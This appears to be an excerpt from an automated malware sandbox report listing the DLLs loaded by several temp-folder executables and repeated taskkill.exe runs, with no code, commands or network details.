Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
